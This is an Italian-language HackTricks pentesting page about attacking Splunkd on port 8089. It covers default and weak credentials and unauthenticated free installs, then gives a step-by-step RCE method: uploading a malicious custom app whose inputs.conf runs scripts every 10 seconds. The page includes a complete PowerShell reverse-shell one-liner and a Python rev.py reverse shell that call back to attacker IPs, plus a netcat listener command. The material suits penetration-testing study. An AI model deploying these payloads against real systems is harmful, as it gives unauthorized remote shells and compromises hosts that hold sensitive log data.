hacktricks/network-services-pentesting/8089-splunkd.md
2024-02-10 13:03:23 +00:00

8.9 KiB

8089 - Pentesting Splunkd

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Informazioni di base

Splunk è uno strumento di analisi dei log che svolge un ruolo cruciale nella raccolta, analisi e visualizzazione dei dati. Sebbene il suo scopo iniziale non fosse quello di essere uno strumento di SIEM (Security Information and Event Management), ha guadagnato popolarità nel campo del monitoraggio della sicurezza e dell'analisi aziendale.

Le implementazioni di Splunk vengono spesso utilizzate per archiviare dati sensibili e possono rappresentare una fonte preziosa di informazioni per potenziali attaccanti se riescono a compromettere il sistema. Porta predefinita: 8089

PORT     STATE SERVICE VERSION
8089/tcp open  http    Splunkd httpd

{% hint style="info" %} Il server web Splunk viene eseguito di default sulla porta 8000. {% endhint %}

Enumerazione

Versione gratuita

La versione di prova di Splunk Enterprise si converte in una versione gratuita dopo 60 giorni, che non richiede autenticazione. Non è raro che gli amministratori di sistema installino una versione di prova di Splunk per testarla, che viene successivamente dimenticata. Questa si convertirà automaticamente nella versione gratuita che non ha alcuna forma di autenticazione, introducendo una falla di sicurezza nell'ambiente. Alcune organizzazioni possono optare per la versione gratuita a causa di vincoli di budget, senza comprendere appieno le implicazioni di non avere alcuna gestione degli utenti/ruoli.

Credenziali predefinite

Nelle versioni più vecchie di Splunk, le credenziali predefinite sono admin:changeme, che vengono comodamente visualizzate sulla pagina di accesso.
Tuttavia, l'ultima versione di Splunk imposta le credenziali durante il processo di installazione. Se le credenziali predefinite non funzionano, vale la pena controllare la presenza di password deboli comuni come admin, Welcome, Welcome1, Password123, ecc.

Ottenere informazioni

Una volta effettuato l'accesso a Splunk, possiamo esplorare i dati, eseguire report, creare dashboard, installare applicazioni dalla libreria Splunkbase e installare applicazioni personalizzate.
È anche possibile eseguire codice: Splunk ha diversi modi di eseguire codice, come applicazioni Django lato server, endpoint REST, input scriptati e script di allerta. Un metodo comune per ottenere l'esecuzione remota di codice su un server Splunk è attraverso l'uso di un input scriptato.

Inoltre, poiché Splunk può essere installato su host Windows o Linux, è possibile creare input scriptati per eseguire script Bash, PowerShell o Batch.

Shodan

  • Splunk build

RCE

Creare un'applicazione personalizzata

Un'applicazione personalizzata può eseguire script Python, Batch, Bash o PowerShell.
Si noti che Splunk viene fornito con Python installato, quindi anche nei sistemi Windows sarà possibile eseguire codice Python.

È possibile utilizzare questo pacchetto Splunk per aiutarci. La directory bin in questo repository contiene esempi per Python e PowerShell. Seguiamo questi passaggi passo dopo passo.

Per ottenere questo, prima dobbiamo creare un'applicazione personalizzata Splunk utilizzando la seguente struttura di directory:

tree splunk_shell/

splunk_shell/
├── bin
└── default

La directory bin conterrà gli script che intendiamo eseguire (in questo caso, un reverse shell di PowerShell), e la directory predefinita avrà il nostro file inputs.conf. Il nostro reverse shell sarà un PowerShell one-liner:

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(

Il file inputs.conf indica a Splunk quale script eseguire e qualsiasi altra condizione. Qui impostiamo l'app come abilitata e diciamo a Splunk di eseguire lo script ogni 10 secondi. L'intervallo è sempre in secondi e l'input (script) verrà eseguito solo se questa impostazione è presente.

cat inputs.conf

[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

Abbiamo bisogno del file .bat, che verrà eseguito quando l'applicazione viene distribuita ed eseguirà il comando PowerShell in una sola riga.

Il passo successivo è scegliere Installa app da file e caricare l'applicazione.

Prima di caricare l'app personalizzata dannosa, avviamo un listener utilizzando Netcat o socat.

sudo nc -lnvp 443

listening on [any] 443 ...

Nella pagina Carica app, fai clic su "Sfoglia", scegli il tarball che abbiamo creato in precedenza e fai clic su "Carica". Non appena carichiamo l'applicazione, riceveremo una shell inversa poiché lo stato dell'applicazione verrà automaticamente impostato su "Abilitato".

Linux

Se stessimo lavorando su un host Linux, dovremmo modificare lo script Python rev.py prima di creare il tarball e caricare l'applicazione malevola personalizzata. Il resto del processo sarebbe lo stesso e otterremmo una connessione di shell inversa sul nostro listener Netcat e saremmo pronti a partire.

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

RCE e Escalation dei Privilegi

Nella pagina seguente puoi trovare una spiegazione su come sfruttare questo servizio per ottenere l'escalation dei privilegi e la persistenza:

{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: